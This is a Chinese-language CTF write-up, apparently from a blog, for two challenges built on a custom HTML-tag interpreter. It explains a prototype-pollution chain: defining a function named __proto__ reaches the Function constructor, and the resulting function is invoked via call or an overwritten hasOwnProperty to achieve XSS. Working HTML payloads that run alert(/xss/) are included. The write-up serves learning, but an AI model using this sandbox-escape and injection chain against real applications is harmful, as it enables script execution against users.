// 2

将对象a__proto__覆盖为函数,a.constructor就继承了函数的constructor,也就是Function函数。向Function函数传入字符串参数,我们能自定义任意函数,调用定义的函数从而实现任意代码执行。

解题过程

检查解释器的实现中所有取数组成员的地方,发现只有两处没有被黑名单限制,即defineFunctions函数和commands.a函数,而这两个地方恰好都是env.scope.functions[functionName],恰好都和解释器实现的函数功能相关,一个是函数定义,一个是函数调用。

        "a": function (elt, env) {          // either jump or invoke a function
            let href = elt.getAttribute("href");
            let regexMatch = htmlRef.exec(href);
            if (regexMatch) {

                let functionName = regexMatch.at(1);

                // collect args
                let args = [];
                if (elt.firstElementChild) {
                    let initialLength = env.stack.length;
                    exec(elt.firstElementChild, elt, env);
                    let finalLength = env.stack.length;
                    args = env.stack.slice(initialLength, finalLength);
                    env.stack.length = initialLength;
                }

                if (!functionName in env.scope.functions) {
                    console.error("Cannot invoke ", functionName);
                    return null;
                }
                let result = null;
                result = env.scope.functions[functionName](...args); //!!! no blacklist
...
        },
...
    function defineFunctions(sourceOrElt, env) {
        let definitions = sourceOrElt.querySelectorAll(':scope > dfn');
        for (const definition of definitions) {
            if (definition.parentElement.tagName !== "MAIN") {
                console.error("Function defined at ", definition, " does not have a parent MAIN element, instead found ", definition.parentElement);
                continue;
            }
            const funcName = definition.id;
            env.scope.functions[funcName] = function () { //!!! no blacklist
                ...

因此我们可以在defineFunctions中控制functionName='__proto__',便能覆盖env.scope.functions.__proto__=function(){},然后再commands.a里控制functionName='constructor',调用env.scope.functions[functionName]就是调用Function

为了实现执行任意XSS代码,我们还需要解决两个问题:

  1. 如何控制传入env.scope.functions[functionName]args为要执行的xss代码

    args来自env.stack,然而解释器的实现中限制了env.stack中要么是Number要么是Number组成的Array

    "data": function (elt, env) {  // push number onto stack
       env.stack.push(Number.parseFloat(elt.innerText));
    },
    "ol": function (elt, env) {  // create list
       let children = elt.children;
       let initialLength = env.stack.length;
       let result = [];
       for (const child of children) {
           exec(child.firstElementChild, child, env);
           result.push(env.stack.pop());
           env.stack.length = initialLength;
       }
       env.stack.push(result);
    },
    "dd": function (elt, env) {  // add two numbers on top of stack
       let top = env.stack.pop();
       let next = env.stack.pop();
       if (typeof top !== "number" || typeof next !== "number") {
       console.error("Cannot add ", top, " and ", next);
           return null;
       }
       env.stack.push(next + top);
    },
    ...

    有什么地方调用了env.stack.push却没有检查数据类型呢?有!

       function defineFunctions(sourceOrElt, env) {
    ...
               env.scope.functions[funcName] = function () {
                   var args = Array.from(arguments);
                   let env = makeEnv();
                   env.stack.push(...args);
                   if (definition.firstElementChild) {
                       exec(definition.firstElementChild, definition, env);
                   }
                   let val = env.stack.pop();
                   return val;
               };
           }
       }

    defineFunctions中自定义的函数会在一开始将传入的参数push进env.stack,而这里没有对数据类型进行检查。

    但是commands.a中调用自定义函数的时候参数依旧来自env.stack,有没有什么地方调用了自定义函数但是参数不是来自env.stack的呢?

    我们注意到如下代码

    "dl": function (elt, env) { // debug output
       env.functions.out(elt.innerText, "stack:", env.stack, "vars:", env.scope)
    },

    虽然env.functions.out是题目一开始定义好的,但是在defineFunctions中,如果让functionName='out'的话,我们是能够将其覆盖成我们自定义的函数,于是向env.scope.functions[functionName]传入一个字符串在这里是可能的。

    于是我们定义一个自定义函数out,使用commands.dlout传递payload字符串,在out里覆盖env.scope.functions.__proto_\_,将out多余的参数从env.stack中pop掉,留payloadenv.stack顶部,然后使用commands.a调用env.scope.functions.constructor

    "a": function (elt, env) {          // either jump or invoke a function
       ...
           let result = null;
           result = env.scope.functions[functionName](...args);
    
           if (typeof result != "undefined") {
               env.stack.push(result);
           }
       } 

    此时执行result = env.scope.functions[functionName](...args)实际执行了result = Function(payload),并且此后将result推入了env.stack

  2. 调用Function返回的自定义函数

    成功得到Function(payload)后我们需要考虑如何去调用它,因为解释器代码中只有env.scope.functions[functionName]才能被当作函数调用,所以我们还是只能打env.scope.functions的主意

    函数类对象继承自Function.prototype有一个call方法,可以通过这个方法来调用函数,比如

    Function('return 1+1').call()
    // 2

    如果能够覆盖env.scope.functionsFunction(payload),那么在commands.a中令functionName='call',调用env.scope.functions[functionName]就相当于调用Function(payload).call()

    恰巧commands.var能够覆盖env.scope中任意成员为env.stack中的对象

    "var": function (elt, env) {
       let topOfStack = env.stack.pop();
       let variableName = elt.innerText;
       if (isBlacklisted(variableName)) {
           console.error("Cannot store ", variableName);
           return null;
       }
       env.scope[variableName] = topOfStack;
    },

    至此已经能够执行任意JS代码实现XSS了

验证载荷

<main id="main">
    <dfn id="out">                      // 1. 覆盖env.scope.functions.out
        <main>
            <dfn id="__proto__">          // 3. 覆盖env.scope.functions.__output__
            </dfn>
            <del></del>                   // 4.1 env.stack.pop 掉 env.scope
            <del></del>                   // 4.2 env.stack.pop 掉 "vars:"
            <del></del>                   // 4.3 env.stack.pop 掉 env.stack
            <del></del>                   // 4.4 env.stack.pop 掉 "stack"
            <output></output>
            <var>a</var>                  // 5. env.scope['a'] = 'alert(/xss/)'
            <a href="html:constructor()"> // 6. 调用 env.scope.functions.constructor, 返回值result入栈
                <cite>a</cite>              // 6.1 将env.scope['a']入栈作为env.scope.functions.constructor的参数
            </a>
            <var>functions</var>          // 7. 覆盖 env.scope['functions'] = result = Function('alert(/xss/)')
            <a href="html:call()"></a>    // 8. 调用 env.scope.functions.call 即Function('alert(/xss/)').call()
        </main>
    </dfn>
    <dl>alert(/xss/)</dl>              // 2. 调用env.scope.functions.out('alert(/xss/)','stack:',env.stack,'vars:',env.scope), 参数依次入栈
</main>

html_again

理解题目

本题源码和上一题基本一致,不同之处有这么几个

  1. 所有env.scope.functions变成了env.functions

  2. commands.cite有如下变更

           "cite": function (elt, env) { // loads a variable
               let variableName = elt.innerText;
    //---       if (isBlacklisted(variableName)) {
               if (isBlacklisted(variableName) || !(env.scope.hasOwnProperty(variableName) || global.hasOwnProperty(variableName))) {
                   console.error("Cannot load ", variableName);
                   return null;
               }
               env.stack.push(env.scope[variableName] || global[variableName]);
           },

解题思路

由于题目的第1点改动,上一题 验证载荷 第8步在本题环境中调用的是env.functions.call,而第7步result写入的还是env.scope['functions'],导致不能直接触发payload

关注到题目的第2点改动,多了env.scope.hasOwnProperty(variableName),那么我们是不是可以把上一题 验证载荷 第7步env.scope['function']=result改动为env.scope['hasOwnProperty']=result,然后第8步就能直接调用commands.cite执行env.scope['hasOwnProperty'](variableName),即Function('alert(/xss/)')(variableName),直接搞定。

验证载荷

<main id="main">
  <dfn id="out">
    <main>
      <dfn id="__proto__"> </dfn>
      <del></del>
      <del></del>
      <del></del>
      <del></del>
      <var>a</var>
      <a href="html:constructor()">
        <cite>a</cite>
      </a>
      <var>hasOwnProperty</var>
      <cite></cite>
    </main>
  </dfn>
  <dl>alert(/xss/)</dl>
</main>
标签:, , , , , , , , ,

Leave a Reply

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据